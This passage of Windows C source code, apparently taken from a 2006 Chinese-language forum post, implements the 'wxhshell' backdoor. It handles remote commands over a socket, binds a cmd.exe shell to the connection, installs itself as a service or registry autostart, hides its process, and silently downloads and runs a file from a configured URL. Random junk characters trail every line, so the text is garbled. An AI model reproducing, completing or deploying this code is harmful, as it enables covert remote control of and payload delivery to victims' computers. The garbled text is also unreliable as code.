  case '?': { Dz,|sHCmk  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); j0^1BVcj  
    break; O5MV&Zb(  
  } "574%\#4z  
  // 安装 0Bt>JbGs4  
  case 'i': { eiCmd =O7  
    if(Install()) $O&N  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); !LQzf(s;  
    else Ei<m/v  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); l,6' S8=  
    break;  1p K(tm  
    } "Lyb4#M  
  // 卸载 #eF,* d  
  case 'r': { e(?1`1  
    if(Uninstall()) yIf^vx_G  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); i[4!% FxB  
    else bk0<i*ju7(  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); r $[{sW  
    break; iGSF5S  
    } Es- =0gpK  
  // 显示 wxhshell 所在路径 ?E,-P!&R  
  case 'p': { Scug wSB  
    char svExeFile[MAX_PATH]; 3&I3ViAH  
    strcpy(svExeFile,"\n\r"); Rh!m1Q(-  
      strcat(svExeFile,ExeFile); d;,Jf*x\  
        send(wsh,svExeFile,strlen(svExeFile),0); B8unF=u  
    break; 0dIGX |e  
    } .F'Cb)Z  
  // 重启 Sz:PeUr9h  
  case 'b': { +f$ {r7  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); 1,:QrhC  
    if(Boot(REBOOT)) t%%zuqF`  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 6-~ZOMlV  
    else { G)?j(El  
    closesocket(wsh); <00nu'Ex1v  
    ExitThread(0); R_9M-RP6*  
    } ] *U+nG  
    break; #)m [R5g(  
    } Em4'b1mDX%  
  // 关机 H ?eG5  
  case 'd': {  #]QS   
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); Q8A+\LR~)  
    if(Boot(SHUTDOWN)) Ga+Cb2$  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); sOVpDtZ]LR  
    else { @#*{* S8  
    closesocket(wsh); ?^J%S,  
    ExitThread(0); WL|71?@C  
    } M;W&#Fz%  
    break; 03A QB;.  
    } ([|^3tM  
  // 获取shell O 3?^P"C  
  case 's': { d04gmc&*  
    CmdShell(wsh); zJh!Q**  
    closesocket(wsh); $WE=u9m  
    ExitThread(0); r oPC ^Q  
    break; qW*k|;S  
  } >Hmho'  
  // 退出 me F.  
  case 'x': { y<~(}xsHh  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); X40JCQx{+  
    CloseIt(wsh); H]*B5Jv~  
    break; oGyoU#z#  
    } }8ESp3~e_  
  // 离开 _+)n}Se  
  case 'q': { mKE' l'9A_  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); oKr= ]p  
    closesocket(wsh); Unansk  
    WSACleanup(); $m-C6xC/  
    exit(1); C8i4z  
    break; \),zDO+  
        } ,<C~DSAyZ  
  } [vz2< genn  
  } ?)[=>Kp  
Sj:c {jyJd  
  // 提示信息 GY5JPl  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ?r*}1WsH  
} ' R2*3<  
  } =(~*8hJ  
1H\5E~X   
  return; Ted tmX$  
} <WbO&;%  
Z"KrirZ  
// shell模块句柄 :^qUr`)  
int CmdShell(SOCKET sock) tR 4+]K  
{  %{UW!/  
STARTUPINFO si; zo8&(XS  
ZeroMemory(&si,sizeof(si)); *=]UWM~]  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; nv(6NV  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock;  ;\f0II3  
PROCESS_INFORMATION ProcessInfo; +;)Xu}  
char cmdline[]="cmd"; ~OLyG$JJ  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); ,,1y0s0`  
  return 0; (w+SmD  
} P(o>UDy  
T!pA$eE  
// 自身启动模式 :o87<) _F  
int StartFromService(void) +;*4.}  
{ .Iz JJp  
typedef struct (LMT'   
{ 4N1)+ W8k*  
  DWORD ExitStatus;  ;5  
  DWORD PebBaseAddress; :T>OJ"p  
  DWORD AffinityMask; iA`.y9'2  
  DWORD BasePriority; 2f{a||  
  ULONG UniqueProcessId; KxBvL[/  
  ULONG InheritedFromUniqueProcessId; xX0 wn?,~  
}   PROCESS_BASIC_INFORMATION; :c Er{U8  
?%lfbZ  
PROCNTQSIP NtQueryInformationProcess; Qs?p)3qp  
{%RwZ'  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; ooCfr?E  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; ~ 588md :  
+.rE|)BPy  
  HANDLE             hProcess; [jxh$}?P  
  PROCESS_BASIC_INFORMATION pbi; ]GsI|se  
ay`R jT  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); bYX.4(R  
  if(NULL == hInst ) return 0; G8MLg#  
Zlt,Us`  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); iSfRo 31  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); |oePB<N  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); \@T;/Pj{[  
sPl3JP&s  
  if (!NtQueryInformationProcess) return 0; {qU;>;(  
8A/rkoht*  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); P)hGe3  
  if(!hProcess) return 0; d/@P;YN!  
?5^DQ|Hg ^  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; 0QW;=@)d  
($8!r|g5#  
  CloseHandle(hProcess); 4Me3{!HJz  
)T&r770  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); 2z AxGX  
if(hProcess==NULL) return 0; ka{!' ^  
Mhb~wDQl  
HMODULE hMod; |Ho} D~  
char procName[255]; fQ -IM/z  
unsigned long cbNeeded; 7osHKO<?2  
K(?p]wh  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); kbbHa_;aqV  
rt?*eC1b+Z  
  CloseHandle(hProcess); ?k@;,l :s  
MX+gc$Y O  
if(strstr(procName,"services")) return 1; // 以服务启动 ?(}~[  
h&!$ `)   
  return 0; // 注册表启动 ^&c &5S}  
} ~fzuz'"^  
JW=q'ibR  
// 主模块 pX$ X8z%  
int StartWxhshell(LPSTR lpCmdLine) F}@]Lq+  
{ )jjaY1E  
  SOCKET wsl; H;DjM;be  
BOOL val=TRUE; ^X"x,8}&V  
  int port=0; A!uiM*"W  
  struct sockaddr_in door; Jp_ :.4  
r Cz,XYV  
  if(wscfg.ws_autoins) Install(); tWQ$`<h  
Qw"%Xk  
port=atoi(lpCmdLine); r;>.*60AT  
10GU2a$0"$  
if(port<=0) port=wscfg.ws_port; =.) :tGDp  
gO@LJ  
  WSADATA data; uu>R)iTQ%S  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; Zw<<p|{)<  
?+%bEZ`  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   N| P?!G-=  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); FF|M7/[~  
  door.sin_family = AF_INET; [o7Qr?RN  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); =+[` 9  
  door.sin_port = htons(port); F[)tg#}@G  
g&8-X?^Q  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { 6?JvvS5  
closesocket(wsl); q]s_hWWv  
return 1; t\v~ A0  
} [l7n "gJ~  
+Z=y/wY  
  if(listen(wsl,2) == INVALID_SOCKET) { f|3LeOyz  
closesocket(wsl); ~0}d=d5g  
return 1; ^7t1'A8e<  
} 2p58_^l  
  Wxhshell(wsl); o!c~"  
  WSACleanup(); 'TA !JB+  
pTncx%!W5  
return 0; 6 .[3N~pq  
;hEeFJ=/G  
} 1F+JyZK}w  
)@=fGNDt  
// 以NT服务方式启动 am7~  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) yb0Mn*X+ N  
{ P{: 5i%qC  
DWORD   status = 0; k%aJ%(  
  DWORD   specificError = 0xfffffff; SO<9?uk.  
8,e%=7h_e  
  serviceStatus.dwServiceType     = SERVICE_WIN32; dOKe}?}==  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; Q|U [|U  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; kQn}lD  
  serviceStatus.dwWin32ExitCode     = 0; Lzcea+*uw  
  serviceStatus.dwServiceSpecificExitCode = 0; ~]n=TEJ>  
  serviceStatus.dwCheckPoint       = 0; >Nx4 +|  
  serviceStatus.dwWaitHint       = 0; "3_GFq  
c'5ls7?}O{  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); 1S yG  
  if (hServiceStatusHandle==0) return; dx$+,R~y  
O]j<$GG!  
status = GetLastError(); d b *J  
  if (status!=NO_ERROR) #3A|Z=,5  
{ *D1vla8  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; 1 (e64w@  
    serviceStatus.dwCheckPoint       = 0; .SNg2.  
    serviceStatus.dwWaitHint       = 0; \Xr*1DI<  
    serviceStatus.dwWin32ExitCode     = status; jx ?"`;a  
    serviceStatus.dwServiceSpecificExitCode = specificError; IlB*JJnl  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); .Sv/0&O  
    return; @18}'k  
  } #qK5i1<  
\: B))y?}d  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; Q5sJ|]Bc  
  serviceStatus.dwCheckPoint       = 0; nU isC5HW  
  serviceStatus.dwWaitHint       = 0; FJT0lC  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); %'S[f  
} b"B:DDw00  
@3S:W2k  
// 处理NT服务事件,比如:启动、停止 SzfMQ@~  
VOID WINAPI NTServiceHandler(DWORD fdwControl) _sY; dS/  
{ &)_ z!  
switch(fdwControl) }d5~w[  
{ WF2t{<]^e  
case SERVICE_CONTROL_STOP: s .+`"rK  
  serviceStatus.dwWin32ExitCode = 0; Q\btl/?  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; Wr'1Y7z  
  serviceStatus.dwCheckPoint   = 0; tZu1jBO_Q4  
  serviceStatus.dwWaitHint     = 0; ,R-aO= %  
  { P>03 DkbB  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); b # Llu$  
  } Lg|d[*;'7  
  return; jvo^I$|2h  
case SERVICE_CONTROL_PAUSE: o8NRu7@?  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; 9n"MNedqH  
  break; jX^_(Kg  
case SERVICE_CONTROL_CONTINUE: imKMPO=  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; !fjB oK+  
  break; Q{yjIy/b  
case SERVICE_CONTROL_INTERROGATE: 91nw1c!  
  break; 9`M7 -{  
}; @ rF|WT  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); :H+8E5  
} M Ih\z7gW  
z<.?8bd  
// 标准应用程序主函数 )lq+Gv[%F  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) q1m{G1W n  
{ "b%FkD  
kv;P2:"|  
// 获取操作系统版本 77ztDQDtM  
OsIsNt=GetOsVer(); Ds#BfP7a  
GetModuleFileName(NULL,ExeFile,MAX_PATH); ,J:Ro N_:  
q>5j (,6F  
  // 从命令行安装 p./0N.  
  if(strpbrk(lpCmdLine,"iI")) Install(); aK 7 }}  
!%.=35NS@E  
  // 下载执行文件 i6g=fx6j*  
if(wscfg.ws_downexe) { iq,rS"  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) 6RDy2JAOP  
  WinExec(wscfg.ws_filenam,SW_HIDE);  'S:$4j  
} v *`M3jb  
yqB!0) <  
if(!OsIsNt) { H8 xhE~'t  
// 如果时win9x,隐藏进程并且设置为注册表启动 ;uzLa%JQ  
HideProc(); E]=>@EX  
StartWxhshell(lpCmdLine); 8(L6I%k*  
} +(^H L3  
else 9[sOh<W  
  if(StartFromService()) u(\O@5a  
  // 以服务方式启动 &So1;RR,_M  
  StartServiceCtrlDispatcher(DispatchTable); y0~ttfv  
else o^m?w0 \  
  // 普通方式启动 5G$5d:[(  
  StartWxhshell(lpCmdLine); g(,^'; j  
NCl@C$W9q  
return 0; d`~~Ww1  
}
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只看该作者 1 发表于: 2006-10-10
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